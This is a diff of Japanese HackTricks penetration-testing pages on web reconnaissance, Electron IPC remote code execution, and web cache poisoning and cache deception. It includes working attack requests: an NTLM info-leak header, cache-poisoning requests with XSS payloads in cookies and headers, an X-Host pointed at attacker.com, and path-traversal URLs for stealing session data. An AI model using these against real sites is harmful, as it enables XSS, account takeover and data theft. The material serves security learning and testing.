+* **ファイルのバックアップ**: すべての実行可能ファイル("_.php_"、"_.aspx_"など)のバックアップを探します。バックアップの一般的な変種は次のとおりです: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old._ [**bfac**](https://github.com/mazen160/bfac) **または** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) を使用することもできます。
+* **新しいパラメータの発見**: [**Arjun**](https://github.com/s0md3v/Arjun)**、**[**parameth**](https://github.com/maK-/parameth)**、**[**x8**](https://github.com/sh1yo/x8) **および** [**Param Miner**](https://github.com/PortSwigger/param-miner) **などのツールを使用して、隠されたパラメータを発見します。可能であれば、各実行可能Webファイルで隠されたパラメータを検索してみてください。_
* _Arjunのすべてのデフォルトワードリスト:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-minerの“params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnoteの“parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0deの“params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **コメント**: すべてのファイルのコメントをチェックし、**資格情報**や**隠された機能**を見つけることができます。
-* **CTF**を行っている場合、ページの**右側**に**情報**を**隠す**ために**コメント**内に**隠された情報**を**数百のスペース**を使用して配置するという「一般的な」トリックがあります。他の可能性としては、**いくつかの新しい行**を使用して、Webページの**底部**にコメント内に情報を隠すことがあります。
+* **CTF**を行っている場合、ページの**右側**に**情報**を**隠す**ためにコメント内に**何百ものスペース**を使用するなど、**ページの下部**にコメントを使用して**情報を隠す**という一般的なトリックがあります。
* **APIキー**: **APIキー**を見つけた場合、異なるプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、**[**zile**](https://github.com/xyele/zile.git)**、**[**truffleHog**](https://github.com/trufflesecurity/truffleHog)**、**[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**、**[**RegHex**](https://github.com/l4yton/RegHex\)/)**、**[**DumpsterDive**](https://github.com/securing/DumpsterDiver)**、**[**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik のようなAPIキーを見つけた場合、プロジェクト [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) を使用して、そのキーがアクセスできるAPIを確認できます。
-* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認します。その場合は、[**バケットの権限**を確認してください](buckets/)。
+* **S3バケット**: スパイダリング中に、いずれかの**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認します。その場合は、[**バケットの権限**を確認](buckets/)してください。
### 特別な発見
-**スパイダリング**と**ブルートフォース**を実行する際に、**注意すべき** **興味深い** **事柄**を見つけることができます。
+**スパイダリング**と**ブルートフォース**を実行する際に、**注意すべき** **興味深い** **事柄**が見つかる可能性があります。
**興味深いファイル**
* **CSS**ファイル内の他のファイルへの**リンク**を探します。
* _**.git**_ ファイルを見つけた場合、いくつかの情報を抽出できます。
* _**.env**_ ファイルを見つけた場合、APIキー、DBパスワードなどの情報が見つかる可能性があります。
-* **APIエンドポイント**を見つけた場合、[それらもテスト](web-api-pentesting.md)する必要があります。これらはファイルではありませんが、おそらくそれらに「似ている」でしょう。
-* **JSファイル**: スパイダリングセクションでは、JSファイルからパスを抽出するいくつかのツールが言及されています。また、見つかった各JSファイルを**監視**することも興味深いでしょう。なぜなら、コードに潜在的な脆弱性が導入された可能性があるためです。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
-* 発見したJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で検査して脆弱性があるかどうかを確認する必要があります。
+* **APIエンドポイント**を見つけた場合、[テスト](web-api-pentesting.md)する必要があります。これらはファイルではありませんが、おそらくそれらに「似ている」でしょう。
+* **JSファイル**: スパイダリングセクションでは、JSファイルからパスを抽出するいくつかのツールが言及されています。また、コードに潜在的な脆弱性が導入された可能性がある場合、見つかった各JSファイルを**監視**することが興味深いでしょう。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
+* 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)でチェックして、脆弱性があるかどうかを確認する必要があります。
* **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-* いくつかの場合、使用されている正規表現を**理解する必要**があります。これが役立ちます: [https://regex101.com/](https://regex101.com)
-* また、フォームが検出されたファイルを**監視**する必要があります。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
+* 数回にわたり、使用される**正規表現**を理解する必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com)
+* **フォームが検出されたファイル**も監視する必要があります。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示す可能性があります。
-**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
+**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
{% content-ref url="403-and-401-bypasses.md" %}
[403-and-401-bypasses.md](403-and-401-bypasses.md)
@@ -323,13 +323,13 @@ _ブルートフォースやスパイダリング中に新しいディレクト
**502 Proxy Error**
-そのコードでページが**応答**した場合、おそらく**構成が誤っているプロキシ**です。`GET https://google.com HTTP/1.1`(ホストヘッダーと他の一般的なヘッダーを含む)のようなHTTPリクエストを送信すると、**プロキシ**は_google.com_ にアクセスしようとし、**SSRF**を見つけることができます。
+そのコードで応答するページがある場合、おそらく**構成が誤っているプロキシ**です。`GET https://google.com HTTP/1.1`(ホストヘッダーと他の一般的なヘッダーを含む)のようなHTTPリクエストを送信すると、**プロキシ**は_google.com_ にアクセスしようとし、**SSRF**を見つけることができます。
**NTLM認証 - 情報漏洩**
-認証を求める実行中のサーバーが**Windows**であるか、資格情報を求めるログインが見つかった場合(および**ドメイン名**を求める場合)、情報漏洩を引き起こすことができます。\
-`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` という**ヘッダー**を**送信**すると、**NTLM認証**の動作方法により、サーバーはヘッダー "WWW-Authenticate"内に内部情報(IISバージョン、Windowsバージョンなど)を返します。\
-これは_nmapプラグイン_ "_http-ntlm-info.nse_" を使用して**自動化**できます。
+認証を求める実行中のサーバーが**Windows**であるか、資格情報を求めるログインが見つかった場合(および**ドメイン名**を求める場合)、**情報漏洩**を引き起こすことができます。\
+`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` という**ヘッダー**を**送信**すると、**NTLM認証**の動作方法により、サーバーはヘッダー "WWW-Authenticate"内の内部情報(IISバージョン、Windowsバージョンなど)で応答します。\
+これは、**nmapプラグイン** "_http-ntlm-info.nse_" を使用して**自動化**できます。
**HTTPリダイレクト(CTF)**
@@ -352,7 +352,7 @@ Web脆弱性に関する詳細情報は以下で確認できます:
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)などのツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
-
+
**ハッキングのキャリア**に興味がある方や、ハッキングできないものをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きが必要です_).
@@ -435,9 +435,9 @@ Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:F
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
-* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
-* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**してください。
+* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
+* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
+* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
diff --git a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
index c6b26f6a6..aeffb8ab6 100644
--- a/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
+++ b/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md
@@ -2,15 +2,15 @@
-htARTE(HackTricks AWS Red Team Expert) からAWSハッキングをゼロからヒーローまで学ぶ!
+htARTE(HackTricks AWS Red Team Expert)を通じてゼロからヒーローまでAWSハッキングを学びましょう!
HackTricksをサポートする他の方法:
-- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
+- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
-- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
-- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
-- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
+- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
+- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
+- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
@@ -20,14 +20,14 @@ preloadスクリプトがmain.jsファイルからIPCエンドポイントを公
## Example 0
-[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)からの例(MS TeamsがXSSからRCEに乗っ取られる方法の完全な例がスライドにありますが、これは非常に基本的な例です):
+[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21)からの例(これらのスライドでは、MS TeamsがXSSからRCEに乗っ取られる方法の完全な例があります。これは非常に基本的な例です):
-
+
## Example 1
-`main.js`が`getUpdate`をリッスンし、**渡された任意のURLをダウンロードして実行**する方法を確認してください。\
-また、`preload.js`がmainから**任意のIPC**イベントを公開している方法も確認してください。
+`main.js`が`getUpdate`でリッスンしており、**渡された任意のURLをダウンロードして実行**しますを確認してください。\
+また、`preload.js`がmainから**任意のIPC**イベントを公開していることも確認してください。
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
@@ -77,7 +77,7 @@ window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```
-Exploit: 攻撃手法
+脆弱性:
```html
```
@@ -61,40 +61,40 @@ _これらの種類のステータスコードがキャッシュされない場
### キャッシュされた応答を取得する
-悪用できる**ページ**を特定し、どの**パラメータ**/**ヘッダー**を使用し、どのように**悪用**するかを特定したら、ページをキャッシュする必要があります。キャッシュされるリソースによっては、これには時間がかかる場合があり、数秒間試行する必要があるかもしれません。\
+悪用できる**ページ**、使用する**パラメータ**/**ヘッダー**、**どのように**それを**悪用**するかを特定したら、ページをキャッシュする必要があります。キャッシュに取得しようとしているリソースによっては、これには時間がかかる場合があり、数秒間試行する必要があるかもしれません。\
応答のヘッダー**`X-Cache`**は非常に役立つ可能性があります。リクエストがキャッシュされていない場合は値が**`miss`**になり、キャッシュされている場合は値が**`hit`**になります。\
-ヘッダー**`Cache-Control`**も興味深い情報です。リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる予定の時間を知ることができます:`Cache-Control: public, max-age=1800`\
-もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、ユーザーがターゲットとする被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用しているユーザーのキャッシュを毒することができます。\
+ヘッダー**`Cache-Control`**も興味深い情報で、リソースがキャッシュされているかどうか、次にリソースが再度キャッシュされる予定の時間を知ることができます:`Cache-Control: public, max-age=1800`\
+もう1つの興味深いヘッダーは**`Vary`**です。このヘッダーは、通常はキーにならないヘッダーでも、キャッシュキーの一部として扱われる追加のヘッダーを示すことがよくあります。したがって、攻撃対象の被害者の`User-Agent`を知っている場合、その特定の`User-Agent`を使用しているユーザーのキャッシュを毒することができます。\
キャッシュに関連するもう1つのヘッダーは**`Age`**です。これは、オブジェクトがプロキシキャッシュに格納されている時間を秒単位で定義します。
-リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。いくつかのヘッダーは**予期せず使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイゾニングを**テスト**して機能しているか確認してください。
+リクエストをキャッシュする際には、使用するヘッダーに**注意**してください。なぜなら、それらのうちのいくつかは**予期せぬ方法**で**キーとして使用**される可能性があるため、**被害者は同じヘッダーを使用する必要があります**。常に**異なるブラウザ**でキャッシュポイゾニングを**テスト**して機能しているかどうかを確認してください。
## 攻撃例
### 最も簡単な例
`X-Forwarded-For`のようなヘッダーが、応答でサニタイズされずに反映されています。\
-基本的なXSSペイロードを送信し、キャッシュを毒してページにアクセスするすべてのユーザーにXSSを行わせることができます:
+基本的なXSSペイロードを送信し、キャッシュを毒してページにアクセスするすべてのユーザーがXSSを受けるようにできます:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a.">"
```
-### Cookieハンドリングの脆弱性を悪用するためのWebキャッシュ毒化
+### Cookieハンドリングの脆弱性を悪用するためのWebキャッシュ毒化の使用
-Cookieはページのレスポンスにも反映される可能性があります。たとえばXSSを引き起こすように悪用できれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができます。
+Cookieはページのレスポンスにも反映される可能性があります。たとえば、XSSを引き起こすように悪用できれば、悪意のあるキャッシュレスポンスを読み込む複数のクライアントでXSSを悪用することができます。
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
-### パストラバーサルを使用してAPIキーを盗むためのキャッシュ毒化
+### パストラバーサルを使用してAPIキーを盗むためのキャッシュ毒化
-[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)は、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*`に一致するものは、CloudflareがURLを正規化しないままキャッシュされるため、Webサーバーにリクエストが到達したときに行われました。
+[**この解説**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) によると、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能でした。`/share/*` に一致するものはCloudflareがURLを正規化せずにキャッシュされるため、Webサーバーにリクエストが到達したときに行われました。
-### 複数のヘッダーを使用してWebキャッシュ毒化の脆弱性を悪用する
+### 複数のヘッダーを使用してWebキャッシュ毒化の脆弱性を悪用する
-**キャッシュを悪用するために複数の未キー入力を悪用する**必要がある場合があります。たとえば、`X-Forwarded-Host`を自分が制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**Open redirect**を見つけることができます。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名として`X-Forwarded-Scheme`を使用している場合。リダイレクト先のページを制御することができます。
+**時には**、**複数の未キー入力を悪用**する必要があります。たとえば、`X-Forwarded-Host` を自分が制御するドメインに設定し、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけることができます。**サーバー**がすべての**HTTP**リクエストを**HTTPS**に転送し、リダイレクトのドメイン名としてヘッダー `X-Forwarded-Scheme` を使用している場合、リダイレクト先を制御できます。
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -103,14 +103,14 @@ X-Forwarded-Scheme: http
```
### 限られた `Vary` ヘッダーを利用した攻撃
-もし、**`X-Host`** ヘッダーが**ドメイン名をロードするために使用されている**ことがわかり、しかしレスポンスの**`Vary`** ヘッダーが**`User-Agent`** を示している場合、被害者の User-Agent を外部に送信し、そのユーザーエージェントを使用してキャッシュを改ざんする方法を見つける必要があります。
+もし、**`X-Host`** ヘッダーが**ドメイン名をJSリソースをロードするために使用**されていることがわかったが、レスポンスの**`Vary`** ヘッダーが**`User-Agent`** を示している場合、被害者のUser-Agentを外部に送信し、そのUser-Agentを使用してキャッシュを改ざんする方法を見つける必要があります。
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
-### HTTPリクエストスマグリングを悪用してHTTPキャッシュポイズニングを行う方法
+### HTTPリクエストスマグリングを悪用してHTTPキャッシュポイズニング攻撃を行う方法
[HTTPリクエストスマグリングを悪用してWebキャッシュポイズニングを実行する方法](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)について学びます。
@@ -118,9 +118,9 @@ X-Host: attacker.com
[Webキャッシュ脆弱性スキャナー](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用してWebキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートし、高度にカスタマイズ可能です。
-使用例: `wcvs -u example.com`
+使用例:`wcvs -u example.com`
-
+
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
@@ -132,7 +132,7 @@ X-Host: attacker.com
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
-ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、およびクエリのみを使用して生成しました(フラグメントを無視)。そのため、リクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、およびクエリのみが含まれていました。
+ATSはURL内のフラグメントを削除せずに転送し、キャッシュキーをホスト、パス、クエリのみを使用して生成しました(フラグメントを無視)。そのため、リクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信され、キャッシュキーにはペイロードが含まれず、ホスト、パス、クエリのみが含まれていました。
### GitHub CP-DoS
@@ -140,58 +140,58 @@ ATSはURL内のフラグメントを削除せずに転送し、キャッシュ
### GitLab + GCP CP-DoS
-GitLabは静的コンテンツを保存するためにGCPバケットを使用していました。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしていました。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空の応答本体を返すことが可能でした。また、メソッド `PURGE` もサポートしていました。
+GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー `x-http-method-override`**をサポートしています。そのため、ヘッダー `x-http-method-override: HEAD` を送信し、キャッシュを毒化して空の応答ボディを返すことが可能でした。また、メソッド `PURGE` もサポートしていました。
### Rack Middleware(Ruby on Rails)
-Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー `x-forwarded-scheme: http` が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否(DoS)が引き起こされる可能性があります。さらに、アプリケーションは `X-forwarded-host` ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする場合があります。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。
+Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値を取得し、リクエストのスキームとして設定することです。ヘッダー `x-forwarded-scheme: http` が送信されると、同じ場所への301リダイレクトが発生し、そのリソースへのサービス拒否(DoS)を引き起こす可能性があります。さらに、アプリケーションは `X-forwarded-host` ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする場合があります。この動作は、攻撃者のサーバーからJavaScriptファイルを読み込む可能性があり、セキュリティリスクを引き起こす可能性があります。
### 403とストレージバケット
-Cloudflareは以前、403の応答をキャッシュしていました。不正なAuthorizationヘッダーでS3やAzure Storage Blobsにアクセスしようとすると、403の応答がキャッシュされました。Cloudflareは403の応答をキャッシュしなくなりましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
+Cloudflareは以前、403の応答をキャッシュしていました。不正なAuthorizationヘッダーでS3やAzure Storage Blobsにアクセスしようとすると、403の応答がキャッシュされました。Cloudflareは403の応答をキャッシュしなくなりましたが、この動作は他のプロキシサービスでも引き続き存在する可能性があります。
### キー付きパラメータの注入
-キャッシュは、キャッシュキーに特定のGETパラメータを含めることがよくあります。たとえば、FastlyのVarnishはリクエストの `size` パラメータをキャッシュしました。ただし、URLエンコードされたパラメータ(例:`siz%65`)が誤った値とともに送信された場合、キャッシュキーは正しい `size` パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の `size` パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドで利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。
+キャッシュはキャッシュキーに特定のGETパラメータを含めることがよくあります。たとえば、FastlyのVarnishはリクエストの `size` パラメータをキャッシュしました。ただし、URLエンコードされたパラメータ(例:`siz%65`)が誤った値で送信された場合、キャッシュキーは正しい `size` パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の `size` パラメータをURLエンコードすると、キャッシュには省略されますが、バックエンドで利用されます。このパラメータに値0を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生します。
### ユーザーエージェントルール
-一部の開発者は、サーバー負荷を管理するためにFFUFやNucleiなどの高トラフィックツールと一致するユーザーエージェントのリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を導入する可能性があります。
+一部の開発者は、サーバー負荷を管理するために、高トラフィックツール(FFUFやNucleiなど)と一致するユーザーエージェントのリクエストをブロックします。皮肉なことに、このアプローチはキャッシュポイズニングやDoSなどの脆弱性を導入する可能性があります。
### 違法なヘッダーフィールド
-[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名に許容される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiは、`cache-control`ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\`のような無効な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があります。
+[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)はヘッダー名に許容される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは理想的には400 Bad Request応答をトリガーするはずです。実際には、サーバーは常にこの標準に従うわけではありません。Akamaiは、`cache-control`ヘッダーが存在しない限り、無効な文字を含むヘッダーを転送し、400エラーをキャッシュします。`\`のような違法な文字を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生する可能性があります。
### 新しいヘッダーの検出
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
-## キャッシュ欺瞞
+## キャッシュデセプション
-キャッシュ欺瞞の目標は、クライアントが**キャッシュに保存されるリソースをロードし、それらの機密情報を持つ**ことです。
+キャッシュデセプションの目標は、クライアントが**キャッシュに保存されるリソースを、それらの機密情報と共に読み込むようにすること**です。
-まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js` にアクセスすると、`.js` **拡張子**が見えるため、キャッシュはおそらく応答を保存します。しかし、**アプリケーション**が _www.example.com/profile.php_ に保存されている**機密**ユーザー内容を**再生**している場合、他のユーザーからその内容を**盗む**ことができます。
+まず、`.css`、`.js`、`.png`などの**拡張子**は通常、**キャッシュに保存**されるように**構成**されています。したがって、`www.example.com/profile.php/nonexistent.js` にアクセスすると、応答が `.js` **拡張子**を見るため、キャッシュがおそらく保存されます。しかし、**アプリケーション**が _www.example.com/profile.php_ に保存された**機密**ユーザー内容を**再生**している場合、他のユーザーからその内容を**盗む**ことができます。
-他にテストすること:
+他にテストすること:
* _www.example.com/profile.php/.js_
* _www.example.com/profile.php/.css_
* _www.example.com/profile.php/test.js_
* _www.example.com/profile.php/../test.js_
* _www.example.com/profile.php/%2e%2e/test.js_
-* `.avif`などのあまり知られていない拡張子を使用する
+* `.avif`などのあまり知られていない拡張子を使用
-非常に明確な例は、この解説で見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
-この例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページをロードすると、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存します。\
+非常に明確な例は、この解説で見つけることができます:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
+この例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページを読み込むと、_http://www.example.com/home.php_(**ユーザーの機密情報を含む**)の内容が返され、キャッシュサーバーが結果を保存します。\
その後、**攻撃者**は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
-**キャッシュプロキシ**は、ファイルの拡張子(_.css_)に基づいてファイルをキャッシュするように**構成**されている必要があることに注意してください。例では、_http://www.example.com/home.php/non-existent.css_ は `text/css` MIMEタイプ(_.css_ファイルの期待されるタイプ)ではなく、`text/html`コンテンツタイプを持っています。
+**キャッシュプロキシ**は、ファイルを**拡張子**(_.css_)に基づいてキャッシュするように**構成**されている必要があり、コンテンツタイプに基づいてではないことに注意してください。例えば、_http://www.example.com/home.php/non-existent.css_ は `text/css` MIMEタイプ(_.css_ファイルに期待されるもの)ではなく、`text/html`コンテンツタイプを持っています。
-[HTTPリクエストスマグリングを悪用してキャッシュ欺瞞攻撃を実行する方法](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びます。
+[HTTPリクエストスマグリングを悪用してキャッシュデセプション攻撃を実行する方法](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)について学びます。
## 自動ツール
-* [**toxicache**](https://github.com/xhzeem/toxicache): Golangスキャナーを使用して、URLのリストでWebキャッシュポイズニングの脆弱性を見つけ、複数のインジェクション技術をテストします。
+* [**toxicache**](https://github.com/xhzeem/toxicache):Golangスキャナーを使用して、URLのリストでWebキャッシュポイズニングの脆弱性を見つけ、複数のインジェクション技術をテストします。
## 参考文献
@@ -202,11 +202,11 @@ Cloudflareは以前、403の応答をキャッシュしていました。不正
